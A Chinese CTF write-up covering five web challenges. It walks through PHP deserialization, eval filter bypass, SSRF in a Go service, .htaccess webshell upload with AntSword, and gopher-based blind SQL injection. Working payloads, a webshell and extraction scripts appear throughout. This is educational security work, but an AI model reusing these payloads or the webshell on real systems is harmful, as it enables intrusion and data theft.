[网络安全] 三十六.津门杯CTF Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)

2021-12-02 20:09:51 浏览数 (1)

作者的github资源:

  • 逆向分析:https://github.com/eastmountyxz/ SystemSecurity-ReverseAnalysis
  • 网络安全:https://github.com/eastmountyxz/ NetworkSecuritySelf-study

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。网站目前可以访问,后续应该会关闭,初学者可以试试,但切勿破坏。


第一题 power_cut

题目描述如下:

该网站打开如下图所示:

代码语言:javascript复制
<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>

1.正确解题思路

作者的基本思路如下:

  • 第一步,使用dirsearch扫描敏感目录
  • 第二步,发现index.php.swp源码文件下载
  • 第三步,将.swp文件恢复成index.php文件
  • 第四步,分析源码发现是反序列化漏洞,通过双写简单绕过

(1) 我们从github下载dirsearch工具(Python脚本),这是一个目录扫描工具,目的是扫描网站的敏感文件和目录从而找到突破口。

  • https://github.com/maurosoria/dirsearch

(2) 接着,通过dirsearch扫描目录,自己在目录输入栏输入CMD快速进入。我们发现了敏感文件 .index.php.swp

  • -u:指定网址
  • -e:指定网站语言
  • -w:指定字典
  • -r:递归目录(跑出目录后,继续跑目录下面的目录)
  • -random-agents:使用随机UA

文件泄露知识总结 备份文件泄露是基础知识,常见备份文件的包括.bak,.swp,.swo等。下面简单总结文件泄露知识点。 ①备份文件:.index.php.swp、 .index.php.swo、.index.php.bak、.index.php~ ②源码压缩包:www.zip、root.zip、web.zip ③git泄露:www.xxx.com/.git/config,之后使用工具GitHack可以获取源码,python GitHack.py URL/.git ④svn泄露:www.xxx.com/.svn/entries,利用工具dvcs-ripper获取源码 ⑤其它文件泄露– .idea目录泄露:使用了IntelliJ IDEA的工程,可泄露目录结构 – .DS_Store:www.xxx.com/.ds_store,工具ds_store_exp – .pyc文件:python编译后的字节码文件

(3) 我们下载该源码文件,然后解读源码。

(4) 恢复.swp文件成 index.php,否则打开是乱码。在Linux系统下使用vim带-r参数编辑,完后wq保存。

  • vim -r index.php.swp
  • 按下i输入 Esc退出
  • 保存至本地 :w /tmp/index.php

文件恢复如下图所示:

下载本地文件如下图所示:

源代码如下所示:

代码语言:javascript复制
<?php
class logger{
    public $logFile;
    public $initMsg;
    public $exitMsg;
  
    function __construct($file){
        // initialise variables
        $this->initMsg="#--session started--#n";
        $this->exitMsg="#--session end--#n";
        $this->logFile =  $file;
        readfile($this->logFile);
        
    }
  
    function log($msg){
        $fd=fopen($this->logFile,"a ");
        fwrite($fd,$msg."n");
        fclose($fd);
    }
  
    function __destruct(){
        echo "this is destruct";
    }
}

class weblog {
    public $weblogfile;

    function __construct() {
    	$flag="system('cat /flag')";
    	echo "$flag";
    }

    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new logger($this->weblogfile);
    }

    public function waf($str){
        $str=preg_replace("/[<>*#'|?n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }

    function __destruct(){
        echo "this is destruct";
    }
}

$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>

<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>

(5) 审计发现 logger 类的构造函数中存在文件读取函数 readfile() ,并且参数可控。通过 weblog 类的 __wakeup 魔术方法,实例化 logger 类的一个对象时,触发文件读取漏洞。至于其他函数,经过分析不难看出,是为了迷惑的。

反序列化就需要输入序列化值。

代码语言:javascript复制
$test = new weblog();
$test->weblogfile = "/flaflagg";
var_dump(serialize($test));

输出结果如下图所示,如果接着URL拼接仍然无结果。

  • O:6:“weblog”:1:{s:10:“weblogfile”;s:9:"/flaflagg";}

因为会把flag替换为空,所以要把该变量的长度改为5。最终payload如下:

代码语言:javascript复制
?log=O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flaflagg";}

知识总结 个人CTF题目喜欢长篇大论,希望大佬们不喜勿喷,更希望能帮助初学者。该题目你能学到的知识点包括:

  • 通过dirsearch扫描网站目录
  • 文件泄露常见方法(index.php.swp),以及从备份文件到源码的恢复
  • 反序列化和序列化常见漏洞的利用,通过构造双写绕过flag过滤

2.其他错误尝试

当然,由于作者博士以论文为主,所以只是零零散散参加各种安全比赛,也走了很多弯路和尝试。如果你是一名安全初学者,可以多做做CTF题,它都是有一定规律的。

dirb目录扫描,依赖我们的字典库。

BurpSuite拦截请求,查看内容。


第二题 hate_php

题目描述如下:

访问网址如下图所示:

PHP代码如下:

代码语言:javascript复制
<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@] /",$code)){
        die('fighting!'); 
    }
    eval($code);
}

这道题目主要考察PHP代码审计和规则绕过,当输入code=123参数会提示如下图所示。


1.绕过数字和字母

首先,我们常见的CTF题代码如下,主要是绕过数字和字母。

  • 绕过 preg_match("/[A-Za-z0-9] /",$code)

上面这段代码绕过方法如下:

  • 要是用非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接一个函数,然后执行这个函数getshell。
  • 在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

接着,我们在线构造PHP请求。

  • https://c.runoob.com/compile/1

POST请求构造

代码语言:javascript复制
<?php
    @$_  ;
    print($_);
	$__=("#"^"|");
	print($__);
	$__.=("."^"~");
	print($__);
    $__.=("/"^"`");
	print($__);
    $__.=("|"^"/");
	print($__);
    $__.=("{"^"/");
	print($__);
?>

输出结果如下图所示:

GET请求构造

代码语言:javascript复制
<?php
	$_="`{{{"^"?<>/";
	print($_);
?>

最终我们通过异或构造请求,核心知识点如下:

代码语言:javascript复制
<?php
	var_dump("#./|{"^"|~`//"); //_POST
	var_dump("`{{{"^"?<>/");   //_GET
?>

最终绕过数字和字符串的代码如下,成功获取Flag值。

代码语言:javascript复制
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=print_r(`scandir`('/'))

1.这里的 "`{{{"^"?<>/" 是异或的简短写法,表示_GET
2.${$_}[_](${$_}[__]);等于$_GET[_]($_GET[__]);也就等于getFlag()
3.把_当作参数传进去执行getFlag()

此时输出结果如下图所示:

但如果直接输出到我们这道题目中,它会提示错误“fighting”。因为我们的正则表达式还过滤了特色字符,尤其是下划线(_)和美元符($)。


2.绕过下划线

绕过数字和字母后,我们想试试能不能同时绕过下划线。

  • 函数名或预定义变量名有下划线为了避免跟用户自定义的名字冲突,如_GET、_POST等
  • 函数名前有2个下划线的是魔术方法,变量名前有一个下划线的一般都是系统变量或常量,如__construct

如果下划线都不给,就意味着不能定义变量,而且也构造不出来数字。我们必须要想其他方法绕过规则,这是大佬给的payload, 号必须加引号。

代码语言:javascript复制
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."[' ']"& =getFlag();//$_GET[' ']& =getFlag();

进一步完善的payload如下:

代码语言:javascript复制
?code=${"`{{{"^"?<>/"}[' ']();& =getFlag
?code=${"`{{{"^"?<>/"}[' ']();&_=assert&__=print_r(`scandir`('/'))

该payload中{}的内容是异或,异或在{}中被执行了,也就是上面讲的 “`{{{”^"?<>/" 执行了异或操作,相当于_GET。最后eva函数拼接出了字符串 $_GET [’ ’] (),然后传入 =getFlag,最后执行函数getFlag()。

注意,这里的代码相当于 {_GET}' ' ,利用{}中的代码可以执行的特点。

代码语言:javascript复制
<?php
    $a = 'hello';
    $$a = 'world';
    echo "$a ${$a}";
?>
输出:hello world

此时的payload如果直接输入到题目中,它仍然会报错“fighting”,因为美元符也被过滤了。

  • ?code=${"`{{{"^"?<>/"}’ ’;& =getFlag

3.绕过所有规则(正确答案)

正确答案如下所示:

代码语言:javascript复制
WEB hate_php

思路一:绕过字符和数字
code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
1.成功 preg_match("/[A-Za-z0-9] /",$code)
2.失败 preg_match("/[A-Za-z0-9_@] /",$code)
3.失败 preg_match("/[A-Za-z0-9_$@] /",$code)

思路二:绕过字符和数字 下划线(变量_和__)
code=${"`{{{"^"?<>/"}[' ']();
1.成功 preg_match("/[A-Za-z0-9] /",$code)
2.成功 preg_match("/[A-Za-z0-9_@] /",$code)
3.失败 preg_match("/[A-Za-z0-9_$@] /",$code)
- ?code=${"`{{{"^"?<>/"}[' ']();& =getFlag
- ?code=${"`{{{"^"?<>/"}[' ']();&_=assert&__=print_r(`scandir`('/'))

思路三:绕过字符和数字 下划线(变量_和__) 美元符号($)
1.均失败

------------------------------------------------------

【最终答案】
思路四:采用通配符绕过美元符号($)
?code=?><?=`/???/??? /????`?>
?code=?>

Cflag{h76ghpt2v2JiYEKzBQ5ysxu9b2Z3mN4A} 

输出结果如下图所示:

解题思路:

  • 利用通配符调用Linux系统命令来查看flag
  • 在Linux系统中可以使用 ? * 等字符来正则匹配字母
  • 星号(*)可以用来代替0个及以上任意字符
  • 问号(?)可以用来代替1个任意字符,比如 /???/??? => /bin/cat

这里参考zering大佬文章,通过 /bin/cat 来读取源码,比如:

代码语言:javascript复制
$_=`/???/??? /???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"

如果有长度限制,比如小于35且不存在 _,则将 _ 带入后面一个表达式,同时使用 * 来匹配最后文件。同时,这里的 ?> 闭合了eval自带的 <? 标签。

代码语言:javascript复制
构造payload如下:
?><?=`/???/??? /???/???/????/*`?>

php使用短链接含义如下:
<?php echo `/bin/cat /var/www/html/index.php`?>

读取到源码发现存在如下函数:

代码语言:javascript复制
function getFlag(){
	$flag = file_get_contents('/flag');
	echo $flag;
}

注意,我们可以在本地构建该PHP案例进行测试。

代码语言:javascript复制
<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@] /",$code)){ 
        die('fighting!'); 
    }
    $flag = 'eastmount';
    eval($code);
    echo($flag);
}

如下图所示:

最后直接读取flag文件。

代码语言:javascript复制
?><?=`/???/??? /????`;?>

?code=?><?=`/???/??? /????`?>

知识总结

  • preg_match("/[A-Za-z0-9] /",$code) 长度限制 数字 字母:通过异或构造GET或POST请求实现绕过
  • preg_match("/[A-Za-z0-9_@] /",
  • preg_match("/[A-Za-z0-9_

该部分参考资料:

  • 如何用PHP编写一个不包含数字和字母的后门
  • 绕过preg_match("/[A-Za-z0-9] /",$code)
  • CTF踩坑PHP编写一个不包含数字字母和下划线的后门
  • 浅析CTF绕过字符数字构造shell
  • CTF一道web题小结-无数字字母getFlag/

第三题 Go0SS

题目描述如下:

访问网址如下图所示,默认输出 {“message”, “pong”}。

index.php文件内容为空。

代码语言:javascript复制
<?php
// php in localhost port 80
readfile($_GET['file']);
?>

这道题目给出了源代码,应该是想大家通过代码设计来找到漏洞利用点。

源码为GO语言,其中核心为main.go文件。

代码语言:javascript复制
package main

import (
	"bytes"
	"crypto/md5"
	"encoding/hex"
	"github.com/gin-gonic/gin"
	"io"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
	"time"
)

type File struct {
	Content string `json:"content" binding:"required"`
	Name string `json:"name" binding:"required"`
}
type Url struct {
	Url string `json:"url" binding:"required"`
}

func md5sum(data string) string{
	s := md5.Sum([]byte(data))
	return hex.EncodeToString(s[:])
}

func fileMidderware (c *gin.Context){
	fileSystem := http.Dir("./files/")
	if c.Request.URL.String() == "/"{
		c.Next()
		return
	}
	f,err := fileSystem.Open(c.Request.URL.String())
	if f == nil {
		c.Next()
	}
	//
	if err != nil {
		c.Next()
		return
	}
	defer f.Close()
	fi, err := f.Stat()
	if  err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
		return
	}
	if fi.IsDir() {
		if !strings.HasSuffix(c.Request.URL.String(), "/") {
			c.Redirect(302,c.Request.URL.String() "/")
		} else {
			files := make([]string,0)
			l,_ := f.Readdir(0)
			for _,i := range l {
				files = append(files, i.Name())
			}

			c.JSON(http.StatusOK, gin.H{
				"files" :files,
			})
		}
	} else {
		data,_ := ioutil.ReadAll(f)
		c.Header("content-disposition", `attachment; filename=`   fi.Name())
		c.Data(200, "text/plain", data)
	}
}

func uploadController(c *gin.Context) {
	var file File
	if err := c.ShouldBindJSON(&file); err != nil {
		c.JSON(500, gin.H{"msg": err})
		return
	}
	dir := md5sum(file.Name)
	_,err:= http.Dir("./files").Open(dir)
	if err != nil{
		e := os.Mkdir("./files/" dir,os.ModePerm)
		_, _ = http.Dir("./files").Open(dir)
		if e != nil {
			c.JSON(http.StatusInternalServerError, gin.H{"error": e.Error()})
			return
		}
	}
	filename := md5sum(file.Content)
	path := "./files/" dir "/" filename
	err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm)
	if err != nil{
		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
		return
	}
	c.JSON(200, gin.H{
		"message": "file upload succ, path: " dir "/" filename,
	})
}
func vulController(c *gin.Context) {
	var url Url
	if err := c.ShouldBindJSON(&url); err != nil {
		c.JSON(500, gin.H{"msg": err})
		return
	}
	if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){
		c.JSON(403, gin.H{"msg": "url forbidden"})
		return
	}
	client := &http.Client{Timeout: 2 * time.Second}
	resp, err := client.Get(url.Url)
	if err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
		return
	}
	defer resp.Body.Close()
	var buffer [512]byte
	result := bytes.NewBuffer(nil)
	for {
		n, err := resp.Body.Read(buffer[0:])
		result.Write(buffer[0:n])
		if err != nil && err == io.EOF {
			break
		} else if err != nil {
			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
			return
		}
	}
	c.JSON(http.StatusOK, gin.H{"data": result.String()})
}
func main() {
	r := gin.Default()
	r.Use(fileMidderware)
	r.POST("/vul",vulController)
	r.POST("/upload",uploadController)
	r.GET("/", func(c *gin.Context) {
		c.JSON(200, gin.H{
			"message": "pong",
		})
	})
	_ = r.Run(":1234") // listen and serve on 0.0.0.0:8080
}

1.正确解题思路

(1) 我们首先打开index.php源码,发现代码如下,存在一个提醒,即内网80端有php SSRF。

(2) 接着我们需要审计GO语言代码(main.go),首先看主函数。核心内容如下:

  • r.Use(fileMidderware)
  • r.POST("/vul",vulController)
  • r.POST("/upload",uploadController)

可以发现两个可用的目录 vulupload ,后续对其进行渗透测试。

(3) 接着代码审计发现可以通过302跳转完成SSRF。56行通过HasSuffix判断字符串是否以 / 结尾,不以其结尾造成302重定向。核心代码如下:

代码语言:javascript复制
func fileMidderware (c *gin.Context) ...
if !strings.HasSuffix(c.Request.URL.String(), "/") {
	c.Redirect(302,c.Request.URL.String() "/")
}

需要满足IsDir(),本地环境发现末尾多加一些 …/ 的时候即可触发302。

(4) 接着我们随便发送POST信息试试,其值为空。

  • http://122.112.246.208:20002/upload
  • {“message”: “eastmount csdn”}

同时,代码审计发现需要本地1234端口重定向,且必须以该链接开头否则403错误。

如果端口不正确会提示“url forbidden”错误。

如果重定向端口正确则提示页面不存在,此时可以继续构造payload。

  • {“url”:“http://127.0.0.1:1234/index.php?file=/flag&id=eastmount”}
  • {“data”:“404 page not found”}

(5) 调用函数 http.Dir("/dir").open() 打开文件或目录,如果open函数的参数为 . 或者 … 返回对象也会被认为是一个目录。

(6) 最后通过vul控制器配合ssrf, 发起攻击。先跳转到自己的vps,在302到带参数的内网地址即可获取flag。注意,gin-gonic/gin特性发现双斜杠(//)即可触发SSRF。

  • {“url”:“http://127.0.0.1:1234/index.php?file=…/…/…/…/…/flag&hehe=…/…”}
  • 返回文件信息(缺双斜杠SSRF)

最终Payload如下:

  • http://122.112.246.208:20002/vul
  • {“url”:“http://127.0.0.1:1234//localhost/index.php?file=…/…/…/flag&eastmount=…/…”}
  • {“data”:“flag{30e308e8e7122579b8ea2fae774d1999}”}

知识总结

  • GO语言和PHP代码审计
  • 利用302重定向 本地服务器实现SSRF
  • 构造 … 和 // 绕过规则
  • 调用hasSuffix函数不以 / 结尾来触发302重定向
  • 调用hasPrefix函数以某个URL 1234端口开头,否则报403错误

2.其他错误尝试

做这个题目我自己是挺抗拒的。建议大家在做CTF时,不要看到陌生的GO语言的代码审计就抗拒,其实原理都差不多,我们需要学会分析源码。同时,作者调用BP进行分析也走了一些弯路。


第四题 HploadHub

题目描述如下,该网站打开如下图所示:

同时给出了UploadHub源码供大家分析。

dockerfile文件信息如下:

代码语言:javascript复制
FROM ubuntu:14.04

#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y

# install http
RUN apt-get install -y apache2
RUN mkdir -p /var/lock/apache2 /var/run/apache2
RUN apt-get update && apt-get install -y libapache2-mod-php5 php5 php5-mysql mysql-server python3 python3-pip
COPY app/www /var/www/html
COPY app/shuyu.sql /root/shuyu.sql
COPY app/start.sh /root/start.sh
COPY app/apache2.conf /etc/apache2/apache2.conf
COPY app/tar.py /tar.py

RUN sed -i "315c disable_functions = error_log,...,,ftp_ssl_connect," /etc/php5/apache2/php.ini
RUN sed -i '$aServerName 127.0.0.1'  /etc/apache2/apache2.conf &&
    chmod -R 755 /var/www/html &&
    chmod -R 777 /var/www/html/upload&&
    rm /var/www/html/index.html&&
    chmod  x /root/start.sh
RUN sed -i  "N;32asecure_file_priv=/tmp" /etc/mysql/my.cnf&&
    find /var/lib/mysql -type f -exec touch {} ; && service mysql start&&
    mysqladmin -u root password "root"&&
    mysql -u root -proot -e "create database shuyu;"&&
    mysql -u root -proot shuyu < /root/shuyu.sql
RUN echo flag{test}>/flag
EXPOSE 80 
CMD ["/root/start.sh"]

index.php代码如下

代码语言:javascript复制
<html>
<head>
<title>生而为人,我很抱歉</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
    <body>  
        <h1>电影太仁慈,总能让错过的人重新相遇;生活不一样,有的人说过再见就再也不见了 -网易云</h1>
        <form action="" method="post"
enctype="multipart/form-data">
            <label for="file">filename:</label>
            <input type="file" name="file" id="file" /> 
            <input type="submit" name="submit" value="submit" />
        </form> 
<?php
    error_reporting(0);
    session_start();
    include('config.php');
    $upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
    @mkdir($upload);
    file_put_contents($upload.'/index.html', '');
    if(isset($_POST['submit'])){
        $allow_type=array("jpg","gif","png","bmp","tar","zip");
        $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
        if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
            die('upload error');
        }else{
            $filename=addslashes($_FILES['file']['name']);
            $sql="insert into img (filename) values ('$filename')";
            $conn->query($sql);
            $sql="select id from img where filename='$filename'";
            $result=$conn->query($sql);
            if ($result->num_rows > 0) {
                while($row = $result->fetch_assoc()) {
                    $id=$row["id"];
                }
            move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
            header("Location: index.php?id=$id");
            }
        }
    }
    elseif (isset($_GET['id'])){
        $id=intval($_GET['id']);
        $sql="select filename from img where id=$id";
        $result=$conn->query($sql);
        if ($result->num_rows > 0) {
            while($row = $result->fetch_assoc()) {
                $filename=$row["filename"];
            }
        $img=$upload.'/'.$filename;
        echo "<img src='$img'/>";
        }
    }
?>
<style>
      body{
   background:url(./back.jpg)  no-repeat right -160px  ;
   background-size:90%;
   background-attachment:fixed;
  background-color: rgba(255, 255, 255, 0.8);
}
      </style>
    </body>
</html>

1.正确解题思路

看到这个题目,大家肯定想到了任意文件上传漏洞,但这道题目似乎可以上传任意文件。

(1) 首先,我们查看Apache2.conf配置文件信息,发现在配置层面禁止了upload沙盒解析php。所以php相关的一句话木马是不能执行的。

代码语言:javascript复制
<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
        php_flag engine off
</Directory>

(2) 继续查看Apache2.conf配置信息,发现是允许上传.htaccess文件的,且AllowOverride选项为All。此外,网上大神说配置文件的 < directory > 晚于htaccess执行,所以确定此题目为.htaccess的利用。

  • 测试发现 < file > 标签比 < directory > 优先级高

知识补充 .htaccess文件或者“分布式配置文件”提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。简单来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。它的功能有:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或目录的访问、禁止目录列表、配置默认文档等。这里我们需要用到的是改变文件扩展名,上传一个“.htaccess”文件. - https://blog.csdn.net/Eastmount/article/details/103552209

(3) 上传htaccess文件,Rce bypass下disablefunc。注意,如果直接上传php_flag engine on会没用,但apache2.conf中把上传目录的php解析关了。

构建的exp代码 (.htaccess)如下:

代码语言:javascript复制
<Files .htaccess>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Files>
php_value auto_prepend_fi
le .htaccess
#<?php eval($_REQUEST['eastmount'])?>

成功上传后我们可以简单获取上传文件的网址,因为其显示在左边某个位置。

网址为:

  • URL /upload/06ce7af6d0fb 28b0f56bbd6003a36785/.htaccess

(4) 最后通过file_get_contents("/flag")函数读取flag内容并返回,构造的payload是重点。

  • http://122.112.248.222:20003/upload/06ce7af6d0fb28b0f56bbd6003a36785/
  • .htaccess?eastmount=var_dump(file_get_contents("/flag"));
  • <?php eval($_REQUEST['eastmount'])?>

输出结果如下图所示,可以看到flag值。其“eastmount”是我构造.htaccess文件中的代码。

代码语言:javascript复制
ForceType application/x-httpd-php 
SetHandler application/x-httpd-php 
Require all granted 
php_flag engine on 
php_value auto_prepend_fi le .htaccess 
#string(39) "flag{BNjmiWsBgTW4fsLoDgWLvgnfqk1CI3Nx}

其他读取文件内容的常用方法如下(该题好像不行)。

  • ?hello=get_file_contents(‘flag.php’)
  • ?hello=file(‘flag.php’)

最后给出文件上传漏洞的思维导图,可以看看作者之前的6篇文章总结。


2.中国蚁剑扩展

下面通过蚁剑简单测试文件上传漏洞的后续工作,并尝试找到flag的文件。虽然遗憾作者未找到,但这些方法也提供给初学者学习,大家也可以自行尝试或告诉我好的方法。

第一步,用上传的.htaccess文件建立链接。

  • http://x.x.x.x/upload/06ce7af6d0fb28b0f56bbd6003a36785/.htaccess
  • eastmount

连接成功如下图所示,注意如果上传php或一句话图片是不能反弹shell,因为关闭了php解析。

第二步,连接成功后,查看文件目录列表,打开终端如下图所示。

我们的想法是获取根目录或var目录下,查看是否存在flag.php或flag.txt相关的文件,但并未找到(不知道蚁剑如何搜索)。

第三步,调用相关插件进行深入渗透测试。可以看到PHP版本是5.5,操作系统是Linux,但仍无法运行相关的函数绕过。怀疑是.htaccess文件,而这里需要php文件才行。

第四步,远程shell连接成功后,我们开可以打开终端进行相关操作。如下图所示,很遗憾提示“ret=127”,应该是屏蔽了相关功能。

第五步,我们在该题目提供的config.php文件中发现了数据库的配置信息。接着我想flag是否藏在数据库表中。

config.php文件如下:

在数据库中添加信息的root用户和密码。

可以看到对应的数据库名称为“shuyu”,存在一个表格“img”,对应两个字段id和filename。

查看表格信息如下:

这里简单通过sql语句查询flag相关的值,发现了相关的文件,但不知道怎么在中国蚁剑中查找。

写到这里,这个题目基本结束了,遗憾仍然未找到该flag文件。还是自己太弱了,需要学习的知识太多,希望读者告诉我后续方法。同时,由于我接下来投入到学术论文中,技术分享就少了,后面博士毕业会花时间把BUUCTF做个遍,加油!


3.其他错误尝试

其他方法错误尝试如下图所示,比如查找敏感文件。

也可以BurpSuite拦截请求修改文件上传后缀,这是常用的方法。

上传一句话木马(mm.jpg、mm.php等)但中国蚁剑和冰蝎均无法连接。

  • http://122.112.248.222:20003/index.php?id=1420
  • http://x.x.x.x/upload/9845bc38896ccbba0ceaea4f3c08a78d/ma.php

下面是连接失败的某些页面。


第五题 easysql

题目描述如下:

该网站打开如下图所示:

对应源码如下所示:

代码语言:javascript复制
<?php
highlight_file(__FILE__);
    session_start();
    $url = $_GET['url'] ?? false;
    if($url)
    {
    $a = preg_match("/file|dict/i", $url);
        if ($a==1)
        {
            exit();
        }
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_exec($ch);
            curl_close($ch);
     }
?> 

1.正确解题思路

这个题目真的挺难的,需要利用SSRF SQL注入实现,这里我就给出几种大佬的解题方法。后面第2部分和第3部分再给我的思考及尝试,我能做到SSRF和SQL注入尝试,但不会将两者融合。

(1) Chamd5安全团队WP SSRF之后post时间盲注。

  • https://mp.weixin.qq.com/s/7uMUoMkQyJGetdlgdvy0CQ

第一段代码是SQL盲注获取表名称,关于SSRF第2部分会详细介绍。

代码语言:javascript复制
#津⻔杯-WriteUp Chamd5安全团队
import requests
import string
from urllib import parse
import time
import string

charset = ","   string.ascii_lowercase   string.digits   string.ascii_uppercase
charset = ",@"   string.ascii_letters
print(charset)
#,@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

def send(post):
    post_len = len(post)
    post = parse.quote(post)
    exp = f"gopher://127.0.0.1:80/_POST /admin.php HTTP/1.1
Host: 127.0.0.1:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {post_len}

{post}"
    exp = exp.replace("%", "%")
    url = f"http://121.36.147.29:20001/?url={exp}"
    start_time  = time.time()
    try:
        r = requests.get(url, timeout=0.3)
    except requests.exceptions.ReadTimeout:
        return 0.3
    stop_time  = time.time()
    return stop_time - start_time

result = ""
sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
for i in range(1,50):
    for c in charset:
        post = f"poc=mid(({sql}),{i},1)='{c}' and sleep(1) "
        print(post)
        t = send(post)
        if t >= 0.3:
            result  = c
            print(result)
            break

输出表名如下:

  • emails,flag,referers,uagents,users

第二段代码是SQL盲注flag列的具体值,核心代码如下:

  • flag{VqvjbS1O8A1gVWa2aPF44ruiELruVDP1}
代码语言:javascript复制
result = ""
#sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#sql = "select group_concat(column_name) from information_schema.columns where table_name='flag';"
sql = "select group_concat(flag) from flag"
for i in range(1,50):
    for c in charset:
        post = f"poc=mid(({sql}),{i},1)='{c}' and sleep(1) "
        t = send(post)
        if t >= 0.3:
            result  = c
            print(result)
            break

(2) 某不知道名字的大神解题思路 已经爆破出数据库表名,通过select flag from flag查询值的payload。

代码语言:javascript复制
import urllib.parse
import requests
import time

url="http://121.36.147.29:20001/index.php?url="
result = ""
for pos in range(1,10):
    for i in range(1,127):
        poc = "poc=1) and if((ascii(substr((select flag from flag)," str(pos) ",1))='" str(i) "'),sleep(3),0) -- "
        length = len(poc)
        data = urllib.parse.quote(poc)
        data = urllib.parse.quote(data)
        final_poc = "gopher://127.0.0.1:80/_POST /admin.php HTTP/1.1%0d%0aHost: localhost:80%0d%0aConnection: close%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: " str(length) "%0d%0a%0d%0a" str(data)
        t1 = time.time()
        res = requests.get(url   final_poc)
        t2 = time.time()

        if(t2-t1>3):
            result  = chr(i)
            print(result)
            break

输出结果如下图所示:

(3) HA1CgON大神解题思路 SSRF本地admin.php,gopher post注入实现。

代码语言:javascript复制
<?php
$payload = "poc=" . $argv[1];
//$payload = "poc=if((select ascii(substr(database(),1,1)))=115,sleep(0.4),1)";
$test = "POST /admin.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
cache-control: no-cache
Postman-Token: 375ba985-8106-4d79-bafd-dff6654589b8
User-Agent: PostmanRuntime/7.6.0
Accept: */*
Host: 127.0.0.1
Content-Length: " . strlen($payload) . "
Connection: close

" . $payload . "

";
echo urlencode(("gopher://127.0.0.1:80/_" . rawurlencode($test)));

Python代码如下:

代码语言:javascript复制
import requests
import time
import urllib
import os

url = 'http://121.36.147.29:20001/?url='

s=requests.Session()

x=""
payload = ''
for Len in range(1,50):
    max = 127
    min = 34
    while max >= min:
        mid = (max   min) // 2
        payload = 'if((select ascii(substr((select flag from flag),1,{})))>{},sleep(0.2),1)'.format(Len,mid)
        print(payload)
        tmp_r = os.popen('php /Users/ha1c9on/Web/HISTORY/gopher.php "' payload '"').read()

        before_time = time.time()

        tmp_url = url tmp_r
        print(tmp_url)
        r = requests.get(tmp_url)
        after_time = time.time()
        offset = after_time-before_time
        if (offset>2):
            min = mid   1
        else:
            max = mid
        if max == mid == min:
            x  = chr(mid)
            print("success:{} length:{}".format(x, len(x)))
            break

2.SSRF错误尝试

下面介绍作者做这个题目的各种尝试,这些知识希望对您SSRF漏洞的理解有帮助。

第一步,源代码审计。

代码语言:javascript复制
$url = $_GET['url'] ?? false; 
c=a??b;
1.表示如果a非空则c=a
2.如果a为空则c=b
该表达式要求url非空

$a = preg_match("/file|dict/i", $url);
执行匹配正则表达式
1.如果存在file|dict/i直接退出
2.否则执行后续语句

$ch = curl_init();
初始化一个cURL会话及操作
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch); 

同时本地搭建相关代码进行代码审计测试。

第二步,简单扫描发现admin.php敏感目录且为302重定向,怀疑SSRF 302重定向漏洞。

第三步,进行简单的重定向尝试,发现成功后进行各种尝试。

  • index.php?url=http://www.baidu.com
